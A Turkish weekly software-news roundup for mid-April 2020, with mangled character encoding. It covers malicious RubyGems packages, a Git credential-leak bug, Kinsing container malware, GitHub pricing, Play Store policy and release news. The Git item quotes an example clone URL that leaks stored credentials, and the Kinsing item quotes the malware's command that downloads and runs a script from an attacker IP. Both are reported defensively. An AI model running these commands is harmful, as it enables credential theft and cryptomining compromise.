
Yaz�l�m Gündemi - 2020/15
13-19 Nisan 2020

Eren Hat�rnaz

19 Nisan 2020

�çindekiler

1 725 adet zararl� Ruby kütüphanesi RubyGems üzerinden kal-

d�r�ld� 2

2 Zararl� URL ile ³ifre çalmaya yarayan Git aç�§� kapat�l� 3

3 Konteynerleri tehdit eden yeni bir zararl� yaz�l�m: Kinsing

Malware 4

4 Bakan Varank: "Yaz�l�m Okullar� Açaca§�z" 6

5 GitHub tak�mlar için de ücretsiz oldu 7

6 Google Play Store Policy güncellendi: Arka planda konum

servisi kullanan uygulamalar özel izin almak zorunda 8

7 JetBrains birçok IDE ve arac� için 2020.1 sürümünü yay�n-

lad� 9

8 "Aç�k Seminer" etkinlikleri devam ediyor 10

9 Di§er Haberler 10

10 Lisans 11

1

https://www.zdnet.com/article/clipboard-hijacking-malware-found-in-725-ruby-libraries/
https://www.zdnet.com/article/clipboard-hijacking-malware-found-in-725-ruby-libraries/
https://github.com/git/git/security/advisories/GHSA-qm7j-c969-7j4q
https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability
https://www.sanayi.gov.tr/medya/haber-detayi/gLAYI4bI8x59
https://github.blog/2020-04-14-github-is-now-free-for-teams/
https://www.androidpolice.com/2020/04/16/play-store-app-policy-changes-misleading-subscriptions-android-11-location/
https://www.acikseminer.com/


< Önceki Gündem | 13-19 Nisan 2020 | Sonraki Gündem >
TeknoSeyir'de Oku

1 725 adet zararl� Ruby kütüphanesi RubyGems
üzerinden kald�r�ld�

Büyük ve orta ölçekli uygulamalar� üçüncü parti kütüphane kullanmadan
geli³tirmenin pek mümkün olmad�§� günümüz yaz�l�m ekosisteminde, kötü
amaçl� ki³iler art�k sadece son kullan�c�lar� de§il, biz geli³tiricileri de hedef
al�yorlar. ReversingLabs isimli güvenlik �rmas�n�n bu hafta yay�nlad�§� bir
blog yaz�s� 2020 �ubat ay�nda ya³anm�³ ve çözümlenmi³ bir olaya �³�k tutu-
yor.

ReversingLabs �rmas� �ubat ay�nda 725 adet yeni RubyGems (Ruby
programlama dilinin üçüncü parti kütüphaneleri kay�t etmek için kulland�§�
sistem) kayd� tespit etmi³ler ve incelediklerinde de bu kütüphanelerin kötü
amaçl� kod sat�rlar� içerdiklerini ke³fetmi³ler. "JimCarrey" ve "PeterGib-
bons" ³eklinde takma isimlerle RubyGems üzerinden payla³�lm�³, isim oyunu
içeren bu kütüphaneler güvenlik �rmas�n�n tespit etmesi ve RubyGems'e bil-
dirmesi üzerine sistemden silindiler fakat silinene kadar geçen süre boyunca
binlerce kez indirildikleri de gözden kaçm�yor. RubyGems üzerinden silinen
bu kütüphanelerin tam listesi için buraya t�klayabilirsiniz.

Kötü amaçl� ki³iler yine isim oyunlar� yaparak aradan s�v�³maya çal�³-
m�³lar. Mesela "atlas_client" isimli bir kütüphanenin sahtesini "atlas-client"
ismiyle yay�nlam�³lar. Peki ne yap�yor bu kötü amaçl� kütüphaneler?

Bu kütüphanelerin yapt�§� ³ey Windows sistemlere bilgisayar�n aç�lma-
s�yla birlikte çal�³acak bir Clipboard Hijack beti§i kuruyor. Yani kes, kopyala,
yap�³t�r gibi i³lemlerin yap�labilmesini sa§layan "pano" sistemini manipüle
ediyor. Bilgisayar�n�z�n arkaplan�nda çal�³an bu Visual Basic beti§i sonsuz
döngüye girmi³ ³ekilde sürekli panoya kopyalad�§�n�z metinleri kontrol edi-
yor, e§er bunun bir BitCoin cüzdan� adresi oldu§unu anlarsa, o metini ba³ka
bir BitCoin cüzdan� adresi ile de§i³tiriyor. Yani k�saca sizin ba³kas�na gön-
derece§iniz paray� kendisine aktarmak istiyor.
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�ekil 1: Zararl� yaz�l�m�n sisteme nas�l eklendi§ini gösteren ak�³ ³emas�. Kay-
nak: ReversingLabs

Yine güvenlik �rmas�n�n aç�klamas�na göre sald�rgan�n ilgili BitCoin cüz-
dan�na hiçbir para transferi gerçekle³memi³. Zaten dü³ük bir olas�l�kt�. Yaz-
d�§�n sahte kütüphaneyi Windows kullanan bir yaz�l�m geli³tirici indirecek, o
yaz�l�m geli³tirici BitCoin'i aktif olarak kullan�yor olacak ve bir para tranferi
yapaca§� zaman adam�n panosunu manipüle edip, paray� kendine çekeceksin.
Ohoo. . . Ölme e³e§im ölme. �lginç bir kafa gerçekten. Sald�rgan amac�na ula-
³amadan gönderdi§i sahte kütüphaneler silinmi³ ama e§er indirilmi³se sizin
bilgisayar�n�zdan silinmemi³tir. Ruby dili üzerinde aktif geli³tirme yap�yor
ve Windows kullan�yorsan�z sisteminizle birlikte ba³layan uygulamalar� bir
kontrol etmenizde fayda var.

2 Zararl� URL ile ³ifre çalmaya yarayan Git aç�§�
kapat�l�

Google'�n Project Zero isimli güvenlik tak�m� taraf�ndan ortaya ç�kar�lan ve
raporlanan güvenlik aç�§� bu hafta içerisinde yay�nlanan Git sürümleriyle
birlikte kapat�ld�. CVE numaras�: CVE-2020-5260

Git baz� kimlik do§rulama i³lemleri için i³letim sistemi taraf�ndan sa§lan-
m�³ harici yard�mc� araçlar� kullan�yor. Fakat "git clone" gibi komutlardan
girilen zararl� URL'ler, bu harici kimlik do§rulama araçlar�nda hata yol aç�p,
sistemde kay�tl� kimlik bilgilerini (kullan�c� ad�, ³ifre, ssh anahtar� vb.) ba³ka
bir sunucuya yönlendirebiliyor. Örnek vermek gerekirse:

git clone 'https://example.com?%0ahost=github.com'

³eklinde çal�³t�r�lan bir komut github.com için depolanm�³ kimlik bilgile-
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rini example.com sitesine yönlendiriyor. Elbette benim gibi siz de ilk bak�³ta
"böyle bariz ³üpheli bir komutu kim, niye çal�³t�rs�n?" diyebilirsiniz fakat bu
ba§lant�lar her zaman böyle aç�k ³ekilde olmuyor. Örne§in, bir depo içerisine
ba³ka bir depoyu eklemeye yarayan Git'in Submodule sistemi böyle bir zaa�-
yete kurban gidebilir. Siz depoyu normal bir ³ekilde sunucudan bilgisayar�na
çekebilirsiniz fakat Git, Submodule olarak eklenen di§er depolar� çekerken
böyle bir ba§lant� ile kar³�la³�rsa haberiniz olmayabilir.

Neyse ki bu güvenlik sorunu halka aç�k olarak payla³�lmadan önce ka-
pat�lm�³. Git versiyonlar�n�z� güncelleyerek olas� bir zarar�n önüne geçmi³
olursunuz. E§er Git versiyonunuzu yükseltebilecek durumda de§ilseniz a³a-
§�daki ³eyleri yapman�zda fayda var:

� Bu komutlar� çal�³t�rarak Git'in harici kimlik do§rulama yard�mc�lar�n�
kullanmas�n� önleyebilirsiniz:

$ git config --unset credential.helper

$ git config --global --unset credential.helper

$ git config --system --unset credential.helper

� �ndirdi§iniz depolar içerisindeki .gitmodules dosyas�n� inceleyebilir ve
³üpheli bir durum görmezseniz i³lemlerinize devam edebilirsiniz.

Güvenlik aç�§� hakk�nda daha detayl� bilgi edinmek isterseniz konu ba³l�-
§�na ekledi§im ba§lant�ya ya da Google'�n Project Zero tak�m�n�n ³u yaz�s�na
göz atabilirsiniz.

3 Konteynerleri tehdit eden yeni bir zararl� yaz�l�m:
Kinsing Malware

Linux çekirde§inin içerisinde olan fakat Docker ile birlikte popülerli§i artm�³
olan konteyner yap�s� art�k günümüzde birçok ³irket ve kurum taraf�ndan
kullan�l�yor. Yeni teknolojiler biz geli³tiricilerin oldu§u gibi kötü amaçl� ki-
³ilerin de ilgisini çekiyor. Aqua isimli konteyner güvenli§i üzerine çal�³an
�rman�n geçti§imiz hafta blogunda yay�nlad�§� yaz� ile konteyner içerisinde
kripta para madencili§i yapan yeni bir malware ortaya ç�kt�. �smine "Kin-
sing" demi³ler.

Bu malware yaz�l�m�n�n sisteminize s�zabilmesi için bir kriter var. O da
yanl�³ ayarlanm�³ ve aç�k b�rak�lm�³ Docker Daemon API'sinin portu. Kötü
amaçl� ki³iler bu aç�k portu otomatik olarak bulan ve kendi amac� için kul-
lanan exploit geli³tirmi³ler. Bu exploit'in yapt�§� ilk i³ yeni bir Ubuntu kon-
teyner'i olu³turmak ve içerisinde a³a§�daki komutu çal�³t�rmak:
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Bash
1 /bin/bash -c apt-get update && apt-get install -y wget

cron;service cron start; wget -q -O - 142.44.191.122/d.sh

| sh;tail -f /dev/null

↪→

↪→

GNU/Linux sistemlere a³ina olmayanlar için aç�klamak gerekirse bu komu-
tun yapt�§� i³:

1. apt-get update: Tüm paket depolar�n� güncelliyor.

2. apt-get install -y wget cron: wget ve cron araçlar�n� kuruyor.

3. wget -q -O - 142.44.191.122/d.sh | sh:wget'i kullanarak as�l za-
rarl� yaz�l�m� indiriyor ve çal�³t�r�yor.

4. tail -f /dev/null: /dev/null dosyas�n� sürekli yazd�rarak kontey-
ner'i ayakta tutmaya çal�³�yor.

As�l zararl� yaz�l�m ise baz� güvenlik duvarlar�n� devre d�³� b�rakarak ken-
dini geni³letmeye ve sistem kaynaklar�n�z� kullanarak kripto para madencili§i
yap�yor.

�ekil 2: Zararl� yaz�l�m�n tüm süreçlerini gösteren diyagram. Kaynak: Aqua

E§er ki³isel olarak ya da �rman�zda Docker kullan�yorsan�z gerekli kont-
rolleri yapmay� ihmal etmeyin. Zararl� yaz�l�m hakk�nda daha detayl� bilgi
ve önlemler için konu ba³l�§�na ekledi§im ba§lant�ya t�klayabilirsiniz.
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4 Bakan Varank: "Yaz�l�m Okullar� Açaca§�z"

Geçti§imiz haftaki yaz�l�m gündemi yaz�s�n� (bkz: Yaz�l�m Gündemi - 2020/14)
son anda güncelleyerek "Aç�k Seminer" etkinli§inin ba³layaca§�n� duyurmu³-
tum. Etkinlik önümüzdeki haftalarda da devam edecek. Bu etkinliklerin ilk
gününde Sanayi ve Teknoloji Bakan� Mustafa Varank da kat�l�m gösterdi ve
baz� aç�klamalarda bulundu. Özetleyecek olursak:

� "Türkiye Aç�k Kaynak Platformunda 60'� a³k�n ³irket, 50'den fazla üni-
versite, sektör temsilcisi STK ve topluluk üyesi binlerce yaz�l�mc� bu-
lunuyor. Burada sadece yaz�l�m geli³tirenler de§il, yeni teknolojilerde
yaz�l�m ihtiyac� olan ³irketler de bizim payda³�m�z. Platform arac�l�-
§�yla ihtiyaç sahibiyle yaz�l�m geli³tiricileri bir araya getiriyoruz".

� Platformun gelecek 2 y�ll�k çal�³ma program� haz�r.

� Bili³im Vadisi ve TÜB�TAK-TÜSS�DE ile birlikte yürütülen bu prog-
rama, �stanbul ve Do§u Marmara kalk�nma ajanlar� 30 milyon liral�k
katk� sunacakm�³.

� 2023 Sanayi ve Teknoloji Stratejisi kapsam�nda 500.000 yaz�l�mc� ve
yaz�l�mda küresel ürünler geli³tiren bir ülke olma hede� var. �u an
ülkemizde 150.000'in üzerinde yaz�l�m geli³tirici varm�³.

� �stanbul'da ve Bili³im Vadisi'nde Yaz�l�m Okullar� aç�lacakm�³.

� "Seminer program�n�n ard�ndan, farkl� ya³ gruplar�n� ve yetkinlikleri
hede�eyen e§itim programlar�m�z ba³layacak. E§itimleri ba³ar�yla ta-
mamlayan kat�l�mc�lara, dijital rozet verece§iz"

Di§er birçok ülkenin de aç�k kaynak ve yaz�l�mla ilgili do§rudan kurumlar
kurdu§u günümüz ekosisteminde bence do§ru bir hareket. Ülke olarak bu
ak�m� yakalayabilmi³ olmak umut vaat ediyor. Umar�m ilerleyen süreçlerde
planlar hakk�nda daha detaylar� aç�klamalar da gelir. Her ne kadar "Aç�k
Kaynak"tan ziyade "Özgür Yaz�l�m" kavram�n� daha çok destekliyor olsam
da devletlerin "Aç�k Kaynak" taraf�na yönelmesini de anlayabiliyorum.

Önümüzdeki haftalarda da devam edecek "Aç�k Seminer" etkinliklerini
takip etmek için bu sayfay� ziyaret edebilirsiniz: https://www.acikseminer.
com/
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5 GitHub tak�mlar için de ücretsiz oldu

Geçti§imiz yaz�l�m gündemi yaz�lar�n�n birinde GitHub'da kullan�c� olarak
özel depo (private repository) açman�n ücretsiz oldu§unu konu³mu³tuk diye
hat�rl�yorum (hangi yaz� oldu§unu bulamad�m :) ). Bu hafta ise GitHub ya-
y�nlad�§� blog yaz�s� ile birlikte art�k tak�mlar içi de GitHub Free paketinin
bulundu§unu aç�klad�. Ayr�ca GitHub Teams paketinin kullan�c� ba³�na ayl�k
$9 olan ücretini de $4 olarak güncelledi.

Ücretsiz paketle birlikte art�k özel depolar�n temel tüm özelliklerine üc-
retsiz olarak eri³ebilecek �rmalar. Ayr�ca 500MB GitHub Packages ve 2.000
dakika GitHub Actions hizmetleri de ücretsiz pakete dahil. Ücretli olarak
kullanmaya devam edecek ve y�ll�k olarak GitHub Teams sat�n alm�³ �rma-
lar ve organizasyonlar için de kalan aylar�n ücretleri de iade edilecek.

�ekil 3: Ücretli GitHub Teams paketinden ücretsiz pakete geçerken kaybedi-
len özellikler

Yukar�daki görselde de görebilece§iniz gibi birçok faydal� özellik ücretsiz
sürümde yok. Bu özelliklere ihtiyaç duyan �rmalar ve kurumlar�n geçi³ ya-
pacaklar�n� sanm�yorum ama "bunlar olmasa da olur" diyenler için iyi bir
tasarruf.
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6 Google Play Store Policy güncellendi: Arka planda
konum servisi kullanan uygulamalar özel izin al-
mak zorunda

Google'�n Android için uygulama ve içerik ma§azas� olan Play Store'da uy-
gulama yay�nlamak için uyulmas� gereken Policy doküman� güncellendi. Ar-
t�k kullan�c�ya bir süreli§ine ücretsiz sunulan daha sonra ücretli hale gelen
uygulamalar detay vermek zorunda ve ondan da önemlisi art�k uygulama-
n�z arka planda konum servisini kullanmak istiyorsa Google'dan özel olarak
izinli olmas� gerekiyor.

�ekil 4: Art�k uygulaman�z kullan�c�ya soldaki gibi ücretsiz süreç hakk�nda
detayl� bilgiler vermek zorunda, sa§daki kullan�ma izin verilmiyor.

E§er kullan�c�lar yine de dikkatsiz davran�p bu aç�klamalar� görmezden
gelirse diye Google önlemini alm�³. Ücretsiz kullan�m süreci bitmeden önce
kullan�c�ya e-posta atarak durum hakk�nda bilgi vermek zorundas�n�z. Ay-
r�ca aktif aboneli§i olan fakat uygulamay� silmi³ kullan�c�lar da bildirimlerle
uyar�lacakm�³, "uygulamay� silmek abonelikten ç�kmak anlam�na gelmiyor"
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³eklinde. Bence gayet yerinde uygulamalar.
Di§er bir konumuz ise arka planda konum bilgilerini kullanan uygula-

malar� ilgilendiriyor. Art�k uygulaman�z arka planda konum bilgilerine de
eri³mek istiyorsa özel olarak Google'a ba³vurman�z ve beyaz listeye (whi-
telist) girebilmek için Google'� neden arka planda konum bilgisine ihtiyaç
duydu§unuz konusunda ikna etmeniz gerekiyor. Reklam gösterme ve analiz
için kullan�mlar kabul edilmeyecekmi³. Yani Google diyor ki: "Benim d�-
³�mda kimse kullan�c�lar�n konum bilgileriyle reklam gösteremez ve analiz
yapamaz". Pek ³a³�rd�§�m� söyleyemem aç�kcas�.

Arka planda konum bilgisini al�p bunu kötüye kullanan uygulamalar�n
oldu§u bir gerçek elbette fakat bu sorunun önüne geçmek için uydurulan çö-
züm bana biraz sak�ncal� geldi. E§er Google'�n kendi çözümü olan bir alanda
hizmet veriyorsak (yani bir nevi Google'a rakipsek), Google bizim uygulama-
m�z� beyaz listeye eklemeyebilir. Nitekim reklam gösterme ve analiz için en
ba³�ndan k�s�tlanm�³ zaten. Bu sürecin ³e�a��§� nas�l sa§lanacak? sorusunun
sorulmas� önemli.

Bu konuda siz ne dü³ünüyorsunuz. Yorumlar bölümünde konu³al�m.
Arka planda konum bilgisi kullan�m� için daha detayl� bilgi için Google'�n

haz�rlad�§� bu sayfay� ziyaret edebilirsiniz.

7 JetBrains birçok IDE ve arac� için 2020.1 sürü-
münü yay�nlad�

JetBrains �rmas�n�n Nisan ay� itibariyle yay�nlad�§� güncellemeler bu ³ekilde:

IDE'ler Araçlar
* PhpStorm 2020.1 * ReSharper 2020.1
* CLion 2020.1 * EduTools 3.5
* DataGrid 2020.1 * ReSharper C++ 2020.1
* IntelliJ IDEA 2020.1
* GoLand 2020.1
* PyCharm 2020.1
* RubyMine 2020.1
* WebStorm 2020.1
* Rider 2020.1
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8 "Aç�k Seminer" etkinlikleri devam ediyor

Bu haftan�n program�:

� PARDUS Temel Seviye Seminer (1.Gün)

� PARDUS Temel Seviye Seminer (2.Gün)

� PARDUS Temel Seviye Seminer (3.Gün)

� Pardus Üzerinde Python Kullanarak Domain Entegrasyonu (1.Gün)

� Pardus Üzerinde Python Kullanarak Domain Entegrasyonu (2.Gün)

9 Di§er Haberler

� Programlama Yar�³mas�: Berk Bingöl Programming Contest

� npm ve GitHub birle³mesi tamamland�. Alternatif (bkz: Yaz�l�m Gün-
demi - 2020/11)

� Cloud�are Workers art�k COBOL destekliyor.

� ProtonMail Bridge aç�k kaynak olarak yay�nland�. GitHub Deposu

� Google, Kotlin için gRPC kütüphanesini aç�k kaynak olarak yay�nlad�:
grpc-kotlin.
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https://protonmail.com/blog/bridge-open-source/
https://github.com/ProtonMail/proton-bridge
https://cloud.google.com/blog/products/application-development/use-grpc-with-kotlin
https://github.com/grpc/grpc-kotlin


� Microsoft, WSL2 (Windows Subsystem for Linux 2) sistemini Windows
10 version 2004 ile birlikte genel eri³ilebilir olacak.

� Rust 2019 anketi sonuçlar� yay�nland�.

� Ruby Concurrency Final Raporu yay�nland�.

� Dell BIOS sald�r�s� tespiti için yeni bir araç yay�nlad�.

� VueJS v3.0.0 Beta 2 sürümü yay�nland�.

� jQuery 3.5.0 sürümü yay�nland�.

� Microsoft C++ tak�m�, GSL 3.0.0 sürümünü yay�nlad�. GitHub Deposu

� NodeJS v13.13.0 sürümü yay�nland�.

� Zig programlama dilinin 0.6.0 sürümü yay�nland�.

� Lazarus 2.0.8 sürümü yay�nland�.

� D programlama dili tak�m�ndan yeni araç duyurusu: DustMite.

� Gloo 1.3 sürümü yay�nland�.

� Earthly v0.1.0 sürümü yay�nland�.

� gbundle arac� tan�t�ld�. GitHub Deposu

� Tide 0.7.0 sürümü ç�kt�.

� Logos 0.11.0 sürümü ç�kt�.

� Boa 0.7.0 sürümü ç�kt�.

� Blazorise 0.9 sürümü ç�kt�.
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https://www.codeotaku.com/journal/2020-01/ruby-concurrency-progress-report/index
https://www.zdnet.com/article/dell-releases-new-tool-to-detect-bios-attacks/
https://github.com/vuejs/vue-next/releases/tag/v3.0.0-beta.2
http://blog.jquery.com/2020/04/10/jquery-3-5-0-released/
https://devblogs.microsoft.com/cppblog/gsl-3-0-0-release/
https://github.com/microsoft/GSL
https://nodejs.org/en/blog/release/v13.13.0/
https://ziglang.org/download/0.6.0/release-notes.html#Target-Details
https://forum.lazarus.freepascal.org/index.php?topic=49356.0
https://dlang.org/blog/2020/04/13/dustmite-the-general-purpose-data-reduction-tool/
https://github.com/CyberShadow/DustMite
https://www.solo.io/blog/announcing-gloo-1-3-developer-portal-extensibility-performance-and-usability/
https://github.com/vladaionescu/earthly/releases/tag/v0.1.0
https://interrupt.memfault.com/blog/gdbundle-plugin-manager
https://github.com/memfault/gdbundle
https://github.com/http-rs/tide/releases/tag/v0.7.0
https://github.com/maciejhirsz/logos/releases/tag/v0.11.0
https://github.com/jasonwilliams/boa/releases/tag/v0.7.0
https://blazorise.com/news/release-notes/090/
https://erenhatirnaz.github.io
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